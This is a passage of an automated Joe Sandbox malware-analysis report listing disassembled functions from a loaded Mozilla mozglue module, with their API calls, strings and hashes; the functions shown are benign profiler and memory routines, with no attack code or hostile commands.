Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpid
String ID: <none>$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1430161788-1978395012
Opcode ID: 13f77c8d648f0780213e993d57fa24986c1d8b40c9834db381a02ac1f8bc6312
Instruction ID: 6e59c23c95cbd06155689d8793b3f4a537969557e8a0dc04087bd00d2dedb094
Opcode Fuzzy Hash: 13f77c8d648f0780213e993d57fa24986c1d8b40c9834db381a02ac1f8bc6312
Instruction Fuzzy Hash: 3E11C1316012319BDB159F59C8889AE7775FF8634CF101819EA0957706C7319811CFBE

Function 6C639420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
__Init_thread_footer.LIBCMT ref: 6C63949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C63947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C639459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C63946B

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 00ebcf3e4e17ec0e4b2cdf14cbdeab766bc2ccee38dc92d8ffc5045a67cc4b15
Instruction ID: 70ad84ca59e17552c295066bf973e9d293889a728262a4586cfed211cbec270c
Opcode Fuzzy Hash: 00ebcf3e4e17ec0e4b2cdf14cbdeab766bc2ccee38dc92d8ffc5045a67cc4b15
Instruction Fuzzy Hash: C001F530A001218BD714DB6ED954A893274AF0632DF041D37D90EC6A43EA26D4648EBF

Function 6C640F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C640F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C640F88
GetCurrentThreadId.KERNEL32 ref: 6C640FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C641067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6410A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C64114B

Part of subcall function 6C638AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6412F7), ref: 6C638BD5

free.MOZGLUE(?), ref: 6C641174
free.MOZGLUE(?), ref: 6C641186

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 1826d02da308be9440e08e11cf83e0c896aa96edbf11cf1dc74503d4fb2bae30
Instruction ID: d5466b7aac09eaedcb8c791e816f611657290b3ff9b1f14da43fce649baf12f9
Opcode Fuzzy Hash: 1826d02da308be9440e08e11cf83e0c896aa96edbf11cf1dc74503d4fb2bae30
Instruction Fuzzy Hash: FA61B075A043409BDB11CF25C880B9AB7F5BFD6308F14C91DE98947B12EB31E859CB9A

Function 6C5FB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6AC

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5FB61E), ref: 6C5FB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB79A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 4e0ba86b27fc664077a017f16994341a24367068560a34519db5ae90b9fbfb26
Instruction ID: c7322d0b6d907ad3c582002fa99ac24d340fa65a3f8eb662f7375479df11a048
Opcode Fuzzy Hash: 4e0ba86b27fc664077a017f16994341a24367068560a34519db5ae90b9fbfb26
Instruction Fuzzy Hash: A241B4B2D00115DFCB08EF68DC806AFB7B5BB45324F250A29E825E7780E731A9058BE5

Function 6C5FEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C675104), ref: 6C5FEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5FEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FEFEC
free.MOZGLUE(?), ref: 6C5FF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5FF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5FF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FF065
moz_xmalloc.MOZGLUE ref: 6C5FF072

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 5c70652234520ef64531ed8c643a37b5819b7d2e7f15902070005fad3158fe5e
Instruction ID: 79d9dc7f3edc79eeb34c2453a58c0581c1b5e900bd58ddf2c9b685316cbe8d20
Opcode Fuzzy Hash: 5c70652234520ef64531ed8c643a37b5819b7d2e7f15902070005fad3158fe5e
Instruction Fuzzy Hash: 5B41F8B1A001059FCB08CF68DC809AF77A9AF85314B244728E926D7794EB71E905CBE5

Function 6C66B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C66B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C66B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C66B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C66B5F4
__Init_thread_footer.LIBCMT ref: 6C66B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C66B61F
std::_Facet_Register.LIBCPMT ref: 6C66B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66B655

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: e0af3bfe7d1b295629769b63207dff37cadfa39061e5bbc13a7c15cacf425345
Instruction ID: af29ffeded171bea1f907de4def52a12dd00a44ac3ff491584ac6ddb5b425814
Opcode Fuzzy Hash: e0af3bfe7d1b295629769b63207dff37cadfa39061e5bbc13a7c15cacf425345
Instruction Fuzzy Hash: 3B317271B00114CBCB059F6AC9989AEB7F5FFCA325F140919E90297740DB34A806CFAE

Function 6C636590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C62FA80: GetCurrentThreadId.KERNEL32 ref: 6C62FA8D
Part of subcall function 6C62FA80: AcquireSRWLockExclusive.KERNEL32(6C67F448,?,6C62FA1F,?,?,6C605407), ref: 6C62FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C636727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6367C8

Part of subcall function 6C644290: memcpy.VCRUNTIME140(?,?,?,:dl,?,:dl,00000001,?,6C643AED,?,00000001), ref: 6C6442C4

Strings

data, xrefs: 6C636593
vgl, xrefs: 6C63696C

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vgl
API String ID: 511789754-1010661664
Opcode ID: 6fa73c3d5bf562275e0eb5839dd08cfda0f639ac241e737976ed597eefa10604
Instruction ID: ffa9b241ae34462ed7624bba3e1a14a50bca85bd105dfc3eb487372e3816c059
Opcode Fuzzy Hash: 6fa73c3d5bf562275e0eb5839dd08cfda0f639ac241e737976ed597eefa10604
Instruction Fuzzy Hash: 06D1BF75A083408FD724CF25C841B9ABBE5BFC6308F20992DE48987B51DB31D849CB5B

Function 6C62D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5FEB57,?,?,?,?,?,?,?,?,?), ref: 6C62D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5FEB57,?), ref: 6C62D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5FEB57,?), ref: 6C62D673
free.MOZGLUE(?), ref: 6C62D888

Strings

|Enabled, xrefs: 6C62D81E
W_l, xrefs: 6C62D5D9, 6C62D63F

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W_l$|Enabled
API String ID: 4142949111-4144283391
Opcode ID: 401bff7ad8b2e67752e8c035e0aec832f40226bc87903bf43ad5596a9b261589
Instruction ID: 72d1252a06e2f5a5e8d00a13a42150a0b44ca2d15ad4eb06467a72b8015d9d85
Opcode Fuzzy Hash: 401bff7ad8b2e67752e8c035e0aec832f40226bc87903bf43ad5596a9b261589
Instruction Fuzzy Hash: EBA102B0A042149FDB15CF69C490BEEBBF1EF4A318F14845CD899AB741D738A845CFA9

Function 6C609830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C657ABE), ref: 6C60985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C657ABE), ref: 6C6098A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C609909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C609918
free.MOZGLUE(?), ref: 6C609975

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2aa7779f6ce236684f4c6ec756c1d2d489eae76a35de5061903e2e035f138cb5
Instruction ID: f0406a3010d927fe12342ac19a2b6576129c3c3bb398f6e33ecdaebfee5ec291
Opcode Fuzzy Hash: 2aa7779f6ce236684f4c6ec756c1d2d489eae76a35de5061903e2e035f138cb5
Instruction Fuzzy Hash: 7D71AC74604B058FC729CF28C580956B7F2FF4A3287284AADE85A9BB90D771F841CF95

Function 6C60B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE), ref: 6C60B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B896

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 25fe88fd7cd994a032bc37eee0e023f83d5bf950457ab4cd688909834ff2d562
Instruction ID: 322721848ea861aa77412dab5ecd999a58fcaf2b04e6ae1bb59a4380724da76a
Opcode Fuzzy Hash: 25fe88fd7cd994a032bc37eee0e023f83d5bf950457ab4cd688909834ff2d562
Instruction Fuzzy Hash: EA518B357006008FCB19CF59C6C4A6ABBF5FF89318B69895DE99AA7351C730EC01CB98

Function 6C641D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C641D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C641BE3,?,?,6C641D96,00000000), ref: 6C641D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C641BE3,?,?,6C641D96,00000000), ref: 6C641D4C
GetCurrentThreadId.KERNEL32 ref: 6C641DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C641DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C641DDA

Part of subcall function 6C641EF0: GetCurrentThreadId.KERNEL32 ref: 6C641F03
Part of subcall function 6C641EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C641DF2,00000000,00000000), ref: 6C641F0C
Part of subcall function 6C641EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C641F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C641DF4

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 5aba73f4b158dc6b28f43cf106c799ab856eda16cc62e39b65ca5b2f6c98eb94
Instruction ID: 9aad976bc718f0d7facb545b2681b80cfd853fb67d109a1771bc27cce92c357f
Opcode Fuzzy Hash: 5aba73f4b158dc6b28f43cf106c799ab856eda16cc62e39b65ca5b2f6c98eb94
Instruction Fuzzy Hash: 25417BB5201700AFCB14DF29C488A56BBF9FF89354F10882DE95A87B41CB71F854CBA9

Function 6C6384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6385AC

Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63767F
Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C637693
Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6385B2

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: ee08a71d84c9ca3751d90f5be5f229d953436dc28690bbf4a6354d3cff8c08cc
Instruction ID: 25127b9a0646a2851f96e90ce7c00984f1abcf33c0c18be027e00a36e3988d8b
Opcode Fuzzy Hash: ee08a71d84c9ca3751d90f5be5f229d953436dc28690bbf4a6354d3cff8c08cc
Instruction Fuzzy Hash: 4521D3702016119FDB14DF25C888A9AB7B5AF8931CF24582EE54FC3B41DB31F948CBA9

Function 6C601640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C601699
VerSetConditionMask.NTDLL ref: 6C6016CB
VerSetConditionMask.NTDLL ref: 6C6016D7
VerSetConditionMask.NTDLL ref: 6C6016DE
VerSetConditionMask.NTDLL ref: 6C6016E5
VerSetConditionMask.NTDLL ref: 6C6016EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6016F9

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: bc7b716ca72869fd2e98c8cc6d39d1cc2dd4eb78d0c35e5c74e4eae7423c86a3
Instruction ID: 96c6189e59ad3822e92b8b00299f4e083a3173ce71709572423143d70899de1d
Opcode Fuzzy Hash: bc7b716ca72869fd2e98c8cc6d39d1cc2dd4eb78d0c35e5c74e4eae7423c86a3
Instruction Fuzzy Hash: 0D2127B07442086FEB155A658C89FFB737CDFC6704F004928F6059B1C0C6789D5487BA

Function 6C63DE60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63DE73
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C66FEF3,?,?,?,?,?,?,00000000), ref: 6C63DE7B

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000), ref: 6C63DEB8
free.MOZGLUE(00000000), ref: 6C63DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C63DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C63DE83

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

